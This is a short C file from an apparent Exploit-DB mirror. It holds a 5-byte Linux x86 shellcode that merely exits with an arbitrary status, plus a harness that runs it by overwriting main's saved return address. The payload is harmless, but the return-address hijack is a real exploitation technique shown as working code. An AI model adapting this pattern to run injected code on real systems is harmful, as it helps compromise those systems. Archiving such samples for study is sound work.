exploit-db-mirror/shellcodes/linux_x86/13394.c
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

18 lines
No EOL
373 B
C

/*
* (linux/x86) normal exit w/ random (so to speak) return value - 5 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x31\xc0" // xor %eax,%eax
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// milw0rm.com [2006-01-21]